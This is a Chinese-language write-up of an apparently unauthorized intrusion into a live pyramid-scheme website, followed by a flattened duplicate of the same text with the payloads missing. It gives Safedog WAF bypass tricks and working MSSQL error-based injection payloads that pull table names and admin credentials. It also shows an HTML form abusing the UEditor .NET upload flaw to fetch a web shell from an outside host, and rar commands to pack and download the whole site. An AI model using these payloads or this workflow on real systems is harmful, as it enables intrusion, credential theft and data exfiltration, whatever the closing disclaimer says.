记一次对某非法站点从SQL注入到整站打包与本地搭建全过程
字数 1923 2025-08-20 18:17:47

SQL注入到整站打包与本地搭建全过程技术文档

一、前言

本文记录了对某非法传销站点从SQL注入到获取后台权限、打包整站源码并在本地搭建的全过程。目标环境为IIS+ASP.NET+安全狗防护系统,托管于腾讯云。

二、信息搜集

  • 目标系统:IIS服务器
  • 技术栈:ASP.NET
  • 安全防护:安全狗WAF
  • 托管平台:腾讯云
  • 数据库:Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)
  • 当前数据库用户:sa(最高权限)
  • 数据库名称:pan20170823
  • 其他数据库:master, tempdb, model, msdb, ReportServer\(SQLEXPRESS, ReportServer\)SQLEXPRESSTempDB

三、SQL注入绕过技术

3.1 安全狗WAF绕过测试

通过fuzz测试发现以下过滤规则:

测试项 结果 绕过方法
空格 拦截 使用%0b
加号 未拦截 直接使用或%2b
等号 拦截 使用IIS特性绕过
单引号 拦截 使用双引号或编码
双引号 未拦截 直接使用
双括号 未拦截 直接使用
+select 拦截 使用%0bselect
%0bselect 未拦截 直接使用

3.2 利用convert函数进行报错注入

利用IIS处理%符号的机制和convert函数进行报错注入:

goodscontent.aspx?gid=convert(int,@@version)  # 获取版本信息
goodscontent.aspx?gid=convert(int,db_name())  # 获取数据库名
goodscontent.aspx?gid=convert(int,user_name())  # 获取当前用户

通过遍历db_name(1)中的数字可以获取其他库名:

goodscontent.aspx?gid=convert(int,db_name(1))

3.3 获取表信息

获取表总数量的payload:

goodscontent.aspx?gid=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT%0btop%0b1%0bCAST(COUNT(*)%0bAS%0bnvarchar(4000))%0bFROM%0binformation_schema.TABLES%0b)%2bCHAR(58)%2bCHAR(58)))

3.4 绕过单引号和等号限制

使用注释加换行绕过安全狗:

goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0btable_name%0bFROM%0binformation_schema.tables%0b)--%20*/

获取后续表名的方法:

/goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b11%0btable_name%0bFROM%0binformation_schema.columns))--%20*/

使用Burp Suite的Intruder模块遍历TOP值(1-600),配合Grep-Extract功能提取表名。

3.5 获取表数据

通过分析后台页面源码推测列名:

  • txt_nickname
  • nickname
  • txt_password
  • password

获取数据的payload:

/goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0bnickname%0bfrom%0bmemberadmin)--%20*/
/goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0bpassword%0bfrom%0bmemberadmin)--%20*/

四、后台getshell

  1. 登录获取的后台凭据
  2. 发现信息管理处可发布咨询和上传图片
  3. 尝试绕过上传限制:
    • 修改filename="1.aspx"为filename=xss.jpg .aspx(去掉双引号)
    • 发现无法绕过程序自身检测
  4. 利用UEditor .NET版本的上传漏洞:
<form action="http://***/***/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr:<input type="text" name="source[]" /></p>
<input type="submit" value="Submit" />
</form>
  1. 在攻击者服务器准备shell文件(需绕过安全狗),命名为a.gif
  2. 提交shell地址:https://o0o0.club/a.gif?.aspx
  3. 获取返回的shell路径

五、打包源码与数据库

5.1 打包源码

  1. 上传rar.exe到服务器
  2. 使用rar命令分卷打包源码:
rar.exe a -r -v50m -m5 pan20170823 *.*

参数说明:

  • a:压缩
  • -r:打包子目录
  • -v50m:分卷大小50MB
  • -m5:最高压缩等级
  • pan20170823:目标目录
  • *.*:打包后文件名为pan20170823.part*.rar
  1. 以约100KB/s的速度下载分卷文件

5.2 备份数据库

  1. 使用后台自带的备份功能
  2. 注意:备份文件后缀为zip但文件头是TAPE,可能导致误判为损坏

六、本地环境搭建

6.1 环境准备

  • 操作系统:Windows Server 2012
  • Web服务器:IIS 8
  • 数据库:SQL Server 2008

6.2 SQL Server配置

  1. 安装SQL Server 2008
  2. 新建数据库
  3. 通过"从设备还原"功能导入备份数据

6.3 IIS与ASP.NET配置

  1. 安装IIS和ASP.NET(选择对应版本)
  2. 添加网站,配置与目标相同的设置
  3. 修改源码中的配置文件以适应本地环境

6.4 访问验证

完成配置后访问本地站点,验证功能是否正常。

七、关键技术与注意事项

  1. WAF绕过技巧

    • 利用IIS对%符号的处理特性
    • 使用%0b代替空格
    • 注释加换行绕过过滤
  2. SQL注入技巧

    • convert函数报错注入
    • 使用CHAR()函数拼接字符串
    • 利用information_schema获取元数据
  3. 文件打包技巧

    • 分卷压缩避免大文件传输问题
    • 使用高压缩等级减少体积
  4. 安全注意事项

    • 操作非法站点存在法律风险
    • 本地搭建仅用于学习研究
    • 避免在生产环境测试此类技术

八、总结

本文详细记录了从SQL注入到完整获取站点控制权的全过程,重点介绍了安全狗WAF的绕过技巧、UEditor漏洞利用方法以及整站迁移技术。这些技术仅可用于合法授权下的安全测试,切勿用于非法用途。

SQL注入到整站打包与本地搭建全过程技术文档 一、前言 本文记录了对某非法传销站点从SQL注入到获取后台权限、打包整站源码并在本地搭建的全过程。目标环境为IIS+ASP.NET+安全狗防护系统,托管于腾讯云。 二、信息搜集 目标系统:IIS服务器 技术栈:ASP.NET 安全防护:安全狗WAF 托管平台:腾讯云 数据库:Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) 当前数据库用户:sa(最高权限) 数据库名称:pan20170823 其他数据库:master, tempdb, model, msdb, ReportServer$SQLEXPRESS, ReportServer$SQLEXPRESSTempDB 三、SQL注入绕过技术 3.1 安全狗WAF绕过测试 通过fuzz测试发现以下过滤规则: | 测试项 | 结果 | 绕过方法 | |--------|------|----------| | 空格 | 拦截 | 使用%0b | | 加号 | 未拦截 | 直接使用或%2b | | 等号 | 拦截 | 使用IIS特性绕过 | | 单引号 | 拦截 | 使用双引号或编码 | | 双引号 | 未拦截 | 直接使用 | | 双括号 | 未拦截 | 直接使用 | | +select | 拦截 | 使用%0bselect | | %0bselect | 未拦截 | 直接使用 | 3.2 利用convert函数进行报错注入 利用IIS处理%符号的机制和convert函数进行报错注入: 通过遍历db_ name(1)中的数字可以获取其他库名: 3.3 获取表信息 获取表总数量的payload: 3.4 绕过单引号和等号限制 使用注释加换行绕过安全狗: 获取后续表名的方法: 使用Burp Suite的Intruder模块遍历TOP值(1-600),配合Grep-Extract功能提取表名。 3.5 获取表数据 通过分析后台页面源码推测列名: txt_ nickname nickname txt_ password password 获取数据的payload: 四、后台getshell 登录获取的后台凭据 发现信息管理处可发布咨询和上传图片 尝试绕过上传限制: 修改filename="1.aspx"为filename=xss.jpg .aspx(去掉双引号) 发现无法绕过程序自身检测 利用UEditor .NET版本的上传漏洞: 在攻击者服务器准备shell文件(需绕过安全狗),命名为a.gif 提交shell地址: https://o0o0.club/a.gif?.aspx 获取返回的shell路径 五、打包源码与数据库 5.1 打包源码 上传rar.exe到服务器 使用rar命令分卷打包源码: 参数说明: a :压缩 -r :打包子目录 -v50m :分卷大小50MB -m5 :最高压缩等级 pan20170823 :目标目录 *.* :打包后文件名为pan20170823.part* .rar 以约100KB/s的速度下载分卷文件 5.2 备份数据库 使用后台自带的备份功能 注意:备份文件后缀为zip但文件头是TAPE,可能导致误判为损坏 六、本地环境搭建 6.1 环境准备 操作系统:Windows Server 2012 Web服务器:IIS 8 数据库:SQL Server 2008 6.2 SQL Server配置 安装SQL Server 2008 新建数据库 通过"从设备还原"功能导入备份数据 6.3 IIS与ASP.NET配置 安装IIS和ASP.NET(选择对应版本) 添加网站,配置与目标相同的设置 修改源码中的配置文件以适应本地环境 6.4 访问验证 完成配置后访问本地站点,验证功能是否正常。 七、关键技术与注意事项 WAF绕过技巧 : 利用IIS对%符号的处理特性 使用%0b代替空格 注释加换行绕过过滤 SQL注入技巧 : convert函数报错注入 使用CHAR()函数拼接字符串 利用information_ schema获取元数据 文件打包技巧 : 分卷压缩避免大文件传输问题 使用高压缩等级减少体积 安全注意事项 : 操作非法站点存在法律风险 本地搭建仅用于学习研究 避免在生产环境测试此类技术 八、总结 本文详细记录了从SQL注入到完整获取站点控制权的全过程,重点介绍了安全狗WAF的绕过技巧、UEditor漏洞利用方法以及整站迁移技术。这些技术仅可用于合法授权下的安全测试,切勿用于非法用途。